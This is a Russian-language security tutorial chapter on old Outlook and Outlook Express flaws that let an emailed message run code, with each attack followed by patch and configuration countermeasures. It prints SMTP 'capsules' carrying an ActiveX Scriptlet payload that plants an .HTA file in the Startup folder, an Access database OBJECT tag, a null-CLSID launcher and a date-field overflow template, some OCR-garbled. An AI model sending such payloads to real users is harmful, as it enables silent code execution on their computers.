Иллюстрированный самоучитель по Secure Web

       

Запуск произвольного кода с помощью электронной почты


При описании следующих атак будут продемонстрированы различные механизмы запуска команд на целевом компьютере. Многие из них приводятся в действие при открытии коварных сообщений или их предварительном просмотре в соответствующей части окна программ Outlook и Outlook Express.

Атаки с использованием элементов ActiveX, помеченных как "safe for scripting"

Взломщики не могли выдумать ничего более убийственного: все, что нужно сделать жертве, — это просто прочитать сообщение (или просмотреть его в окне предварительного просмотра программ Outlook и Outlook Express, если такая возможность имеется). При этом со стороны пользователя не требуется никакого вмешательства. Эта чудовищная "простота" снова появилась благодаря элементу управления Scriptlet. typelib, помеченному как "safe for scripting" (более подробно этот вопрос обсуждается в разделе, посвященном элементам ActiveX). С такой же легкостью можно использовать Eyegod.ocx, но метод, рассматриваемый в данном разделе, основан на применении проверочного кода Георгия Гунински, в котором используется элемент управления Scriptlet. typelib. Напомним, что Георгий поместил этот код на своем Web-узле. Ниже приведена слегка модифицированная версия этого кода, вставленного в капсулу для взлома почты.

helo somedomain.com

mail from: <mallory@malweary.com>

rcpt to: <hapless@victim.net>

data

subject: Ya gotta read this!

MIME-Version: 1.0

Content-Type: text/html; charset=us-ascii

Content-Transfer-Encoding: 7bit

If you have received this message in error, please delete it.

<object id="scr"



classid="clsid:06290BD5-48AA-llD2-8432-006008C3FBFC">

</object>

<SCRIPT>

scr.Reset();

scr.Path="C:\\WIN98\\start

menu\\programs\\startup\\guninski.hta";

scr.Doc="<object id='wsh'

classid='clsid:F935DC22-1CFO-11DO-ADB9-

OOC04FD58AOB'x/object><SCRIPT>alert

{

' Written by Georgi Guninski

);</" + "SCRIP

T>";



scr.write ();

</SCRIPT>

</object>

quit

Этот код проводит атаку в два этапа. Во-первых, он создает в папке Startup на компьютере пользователя файл приложения HTML (с расширением .НТА) и записывает в него содержимое сценария. Этот файл создается почти незаметно для пользователя, пока он просматривает сообщение (если внимательно следить за световым индикатором жесткого диска, то можно заметить его мерцание). Вот как выглядит наше тестовое сообщение в папке inbox (ниже на рисунке показано окно программы Outlook Express). Для завершения взлома достаточно отобразить сообщение в окне предварительного просмотра.



Следующий этап произойдет, когда пользователь перезагрузит компьютер. Рано или поздно это неизбежно случится. Конечно же, можно написать такой сценарий, который сам выполнял бы перезагрузку. При этом запустится файл .НТА (данные файлы автоматически интерпретируются командной оболочкой Windows). В нашем случае пользователь получит следующее "приветственное" сообщение.



Эти безобидные действия — одна из многих реализаций в безбрежном море возможностей. В подобной ситуации жертва полностью находится в руках взломщика.

Действие так называемого червя КАК основано на уязвимости Scriptlet, который тоже можно использовать для охоты на доверчивых (и не пользующихся модулями обновления) пользователей Outlook и ОЕ. Более подробную информацию о "черве" КАК можно найти по адресу http://www.syiri.antec.com/avcenter/venc/data/wscript. kakworm.html.

Контрмеры

Примените модули обновления для компонентов ActiveX Scriptlet и Eyedog, которые можно получить по адресу http://www.microsoft.com/technet/security/ bulletin/ms99-032.asp.

Еще раз следует напомнить, что данные модули обновления позволят устранить проблему, связанную только с данными компонентами. Более универсальной мерой является отключение в программах электронной почты возможности применения элементов управления ActiveX. Используемая для этого процедура описана в разделе, в котором рассматриваются зоны безопасности.



"Запуск" документов MS Office с помощью элементов ActiveX

Георгий Гунински не ограничил свои изыскания использованием дескрипторов HTML в электронном сообщении для загрузки потенциально опасных элементов управления ActiveX. В последующих информационных сообщениях, опубликованных на его узле, сообщается, что с помощью этого же метода могут быть "запущены" и потенци-ачьно опасные документы Microsoft Office ("поведение" этих документов очень похоже на поведение элементов управления ActiveX). С результатами исследований можно ознакомиться по адресу http://www.nat.bg/-joro/sheetex-desc.html (для документов Excel и PowerPoint) и http://www.nat.bg/~joro/access-desc.html (здесь описывается процедура запуска кода VBA, содержащегося в базах данных Access).

Руководствуясь двумя соображениями, в этом разделе будет рассмотрена вторая из этих возможностей. Во-первых, вопросы, связанные с Excel и PowerPoint, более интересны ввиду способности этих приложений незаметно записывать файлы на диск, что будет обсуждаться в последующих разделах. Во-вторых, изъян, основанный на использовании Access, по мнению большинства специалистов в области обеспечения безопасности, является более серьезным, поскольку справиться с ним не помогают все те меры предосторожности, которые применяются для защиты от элементов управления ActiveX. Даже если полностью запретить их использование, система все равно остается уязвимой. Вот как высоко оценили серьезность этой проблемы специалисты института SANS: "Возможно, это одна из самых опасных ошибок, допущенных компанией Microsoft в программах для рабочих станций Windows (всего ряда — 95. 98, 2000, NT 4.0)". Грустно, что это замечание, которое на первый взгляд наполнено сенсуализмом, на самом деле может оказаться не так далеко от истины.

Проблема заключается в том способе, который в системе Windows используется для проверки файлов Access (.MDB) при их загрузке в Internet Explorer с помощью дескриптора OBJECT, как показано в следующем фрагменте кода HTML, предоставленного Георгием Гунински. 



OBJECT data="db3.mdb" id="dl"></OBJECT>

Как только программа Internet Explorer встречает дескриптор объекта, загружается база данных Access, имя которой задано в параметре data=, а затем для ее открытия вызывается программа Access. Это происходит перед тем, как пользователь получит предупреждение о потенциальной опасности, которая при этом может возникнуть. Таким образом, база данных будет запущена независимо от того, настроен IE/Outlook/ОЕ для запуска элементов управления ActiveX или нет. Ну и дела!

Пример Георгия основан на применении удаленного файла с именем db3.mdb, который он разместил на своем Web-узле. Этот файл представляет собой базу данных Access. где находится одна форма, запускающая текстовый редактор Wordpad. Вот еще одна капсула для взлома электронной почты, демонстрирующая, как можно реализовать эту атаку.

helo some domain, corn

mail from: <mallory@attack.net>

rcpt to: <hapless@victim.net>

data

subject: And another thing!

Importance: high

MIME-Version: 1.0

Content-Type: text/html; charset=us-ascii

<HTML>

<h2>Enticing message here!</h2>

id="dl"x/OBJECT>

</HTML>

quit

В этом примере явно задан URL файла db3.mdb (строка 12), чтобы можно было использовать его в сообщении электронной почты. Институтом SANS было выдвинуто требование, чтобы при доступе и совместном использовании файлов Access через Internet применялся протокол SMB. Просто поразительно, сколько FTP-серверов предоставляет свои ресурсы для бесконтрольного размещения данных и доступа к ним. В следующих разделах указаны другие места хранения данных, которые могут заинтересовать взломщиков.

Основной особенностью атак этого типа является то, что обработка этих простых дескрипторов программами IE/Outlook/ОЕ приводит к запуску файлов, в которых содержится мощный макрос VBA. При этом не требуется какого-либо вмешательства пользователя. Неужели такая перспектива еще никого не встревожила?

Контрмеры: задание пароля администратора Ассеss



Запрещение использования элементов управления ActiveX не предотвратит возможности реализации описанных атак. Поэтому нужно применить модуль обновления в соответствии с инструкциями, приведенными по адресу http://www.microsoft.com/-technet/security/bulletin/MS00-049.asp. Особое внимание следует обратить на модуль обновления, предназначенный специально для устранения проблемы, связанной с Access (компания Microsoft назвала ее изъяном "сценария IE" ("IE Script")).

Компания Microsoft рекомендует также воспользоваться следующим средством, которое будет полезно независимо от того, был ли установлен модуль обновления. Для программы Access нужно установить пароль администратора (по умолчанию он не используется). Выполните для этого следующие действия.

1. Запустите Access 2000, но не открывайте никаких баз данных.

2. Выберите команду Tools>Security.

3. Выберите пункт User And Group Accounts.

4. Выберите пользователя Admin, который должен существовать по умолчанию.

5. Перейдите во вкладку Change Logon Password.

6. Если до этого не были внесены никакие изменения, пароль администратора должен быть пустым.

7. Введите пароль администратора.

8. Для выхода щелкните на кнопке ОК.

Это должно предотвратить возможность запуска злонамеренного кода VBA и его работы с высокими привилегиями. Специалисты SANS также отметили, что блокирование брандмауэром исходящих запросов на совместное использование файлов Windows (порты TCP 139 и TCP 445) позволит уменьшить вероятность необдуманного запуска пользователями удаленного кода.

Запуск файлов с помощью ненулевого параметра CLSID элементов ActiveX

Причиной выявления данного изъяна послужило вскользь сделанное замечание в дискуссии, которая велась в бюллетене Bugtraq по поводу уязвимости, обусловленной "навязыванием" файла вложения (см. ниже), которую предложили реализовать на узле malware. com. Велд Понд (Weld Pond), высококлассный хакер из группы LOpht, прославившийся благодаря утилите netcat для NT (см. главу 5), завел со своим коллегой Oil Dog из группы "Cult of Dead Cow", знаменитым автором программы Back Orifice 2000 (см. главы 4 и 14), разговор о механизме запуска файлов, навязанных пользователям по методике malware.com. Оказывается, можно запустить любой файл, поместив в тело электронного сообщения дескриптор OBJECT и сконфигурировав его с помощью ненулевого параметра CLSID. При этом в мишень превращается каждый исполняемый файл, находящийся на диске пользователя. Ниже приведен пример соответствующей капсулы для взлома электронной почты.



helo somedomain.com

mail from: <mallory@attack.net>

rcpt to: <hapless@victim.net>

data

subject: Read this!

Importance: high

MIME-Version: 1.0

Content-Type: text/html; charset=us-ascii

<HTML>

<HEAD>

</HEAD>

<BODY>

<OBJECT CLASSID='CLSID:

10000000-0000-0000-0000-000000000000'

CODEBASE='с:\windows\calc.exe'X/OBJECT>

</BODYX/HTML>

quit

Обратите внимание на ненулевой параметр CLSID. Именно он приводит в действие весь механизм. Файл, который будет запущен, задается параметром CODEBASE.

Однако в процессе тестирования выяснилось, что для того, чтобы этот способ успешно сработал, требуется удачное расположение планет. Первое необходимое условие заключается в том, что нужно, чтобы в программе Outlook Express 5.00.2615.200 для зоны был установлен уровень безопасности Low. Кроме того, при попытке запуска файла calc.exe из папки System появлялось диалоговое окно с предупреждением о неподписанном элементе управления. Для такого стечения обстоятельств пользователи должны быть достаточно безграмотны. Но если проделать это все же удастся, то появляются заманчивые перспективы, особенно при использовании этого способа совместно с возможностью записи файлов на диск, предложенной на Web-yxie malware. com.

Контрмеры против использования ненулевого параметра CLSID

Основываясь на результатах тестирования, авторы утверждают, что установка соответствующего уровня безопасности зоны позволит устранить эту проблему (см. в предыдущих разделах описание зон безопасности).

Переполнение буфера поля даты в программах Outlook и Outlook Express

Возможно, кому-то из читателей показалось, что стержнем большинства типов атак являются элементы управления ActiveX. 18 июля 2000 года в бюллетене Bugtraq  появилось сообщение об изъяне программ Outlook и Outlook Express совсем другого типа, не имеющем ничего общего с элементами ActiveX.

Проблема заключается в классическом переполнении буфера, причиной которого может послужить заполнение раздела GMT (Greenwich Mean Time — среднее время по Гринвичу) поля даты заголовка электронного сообщения чрезмерно большой порцией данных. В процессе загрузки такого сообщения через протоколы РОРЗ или IMAP4 файл INCETCOMM.DLL, который отвечает за анализ значения GMT, не выполняет необходимой проверки переполнения границ. Это приводит к возникновению аварийной ситуации в программах Outlook и Outlook Express и возможности запуска произвольного кода. Ниже приведен пример кода, работа которого основана на наличии этого изъяна.



Date: Tue, 18 July 2000 14:16:06 +<около 1000 байтхкод для запуска>

В этой книге уже неоднократно упоминалось, что возможность запуска в системе произвольного кода открывает неограниченные возможности. Коварное сообщение позволяет незаметно установить программу типа "троянский конь". Через него могут распространяться "черви", а, кроме того, оно может дискредитировать целевую систему, запускать вложения — одним словом, делать практически все, что заблагорассудится.

Пользователям Outlook Express достаточно лишь открыть папку с представляющим опасность сообщением, и они сразу же становятся уязвимыми. Простая загрузка такого сообщения в процессе проверки почты может привести к переполнению буфера и возникновению исключительной ситуации. Таким образом, пользователи ОЕ попадают в замкнутый круг: сообщение не может нормально загрузиться, а его содержимое приводит к аварии программы при каждой последующей попытке восстановить почтовую программу. Одним из способов устранения описанной проблемы является просмотр почты и удаление вызвавшего аварию сообщения (при условии, что мы можем его "вычислить") с помощью почтового клиента, отличного от Outlook/OE. Это легко сделать, используя программу Netscape Messenger, в окне предварительного просмотра которой отображается дата сообщения, по которой можно понять, какое из сообщений привело к сбою. Пользователи Outlook уязвимы во время предварительного просмотра, чтения и пересылки сообщения, вызывающего неполадки, а также тогда, когда они на него отвечают.

Первоначально код, основанный на данном изъяне, был опубликован в бюллетене Bugtraq. Однако позже выяснилось, что данный подход можно применять лишь против сервера, входящего в состав частной локальной сети. Поэтому он неприменим, если его использовать портив пользователя, подсоединенного к Internet через модем. Как представляется, эта публикация стала результатом ошибки Аарона Дрю (Aaron Drew), который, по-видимому, пытался применить подход, подобный описанному в этой главе методу капсулы для взлома электронной почты, но вместо этого ошибочно отправил свое сообщение в бюллетень Bugtraq. Подготовленное для официального оглашения, это сообщение выглядело бы следующим образом (обратите внимание на строку Date, в которой для краткости опущены данные, вызывающие переполнение; в примере они заключены в квадратные скобки, которые не являются необходимыми).



helo somedomain.com

mail from: <mallory@attack.net>

rcpt to: <hapless@victim.net>

data

Date: Sun, 7 May 2000 11:20:46

+[~1000 байт + код в шестнадцатеричном формате или ascii]

Subject: Date overflow!

Importance: high MIME-Version:

1.0 'Content-Type: text/plain;

charset=us-ascii

This is a test of the Outlook/OE date field overflow,

quit

Группа Underground Security Systems Research (USSR, http://www.ussrback.com) также сообщила о том, что обнаружила эту брешь (по крайней мере, об этом заявил хакер Метатрон (Metatron)). Однако, по их утверждению, они не стали сообщать о ней публично, ожидая, пока Microsoft выпустит соответствующий модуль обновления. На базе этого изъяна группа USSR опубликовала свою реализацию, что вызвало интерес к их Web-узлу. Код запускается почти таким же образом, как и в предыдущем примере.

Контрмеры против переполнения поля даты

Согласно информационному сообщению компании Microsoft, которое можно найти на ее Web-узле по адресу http://www.microsoft.com/technet/
security/bulletin/ MS00-043.asp, изъян может быть устранен с помощью модуля обновления, находящегося по адресу http://www.microsoft.com/windows/
ie/download/critical/patch9.htm.

Кроме того, эту проблему можно решить, установив одно из следующих обновлений с параметрами, принятыми по умолчанию.

  •  Internet Explorer 5.01 Service Pack 1.


  •  Internet Explorer 5.5 на любую систему за исключением Windows 2000.


  • Если выполняется установка, отличная от установки по умолчанию, и во время этого процесса устанавливаются обновленные компоненты Outlook Express, то эта уязвимость также устраняется (при этом у пользователя будет возможность соответствующего выбора).

    При установке на компьютер с операционной системой Windows 2000 IE 5.5 не устанавливает обновленные компоненты Outlook Express, поэтому этот изъян не устраняется.

    Следует также заметить, что по утверждению компании Microsoft пользователи Outlook, у которых эта программа настроена только для использования служб MAPI, не подвержены негативному влиянию, независимо от установленной у них версии Internet Explorer. Если службы электронной почты Internet не установлены (Tools>Services), то библиотека INETCOMM.DLL не используется.


    Содержание раздела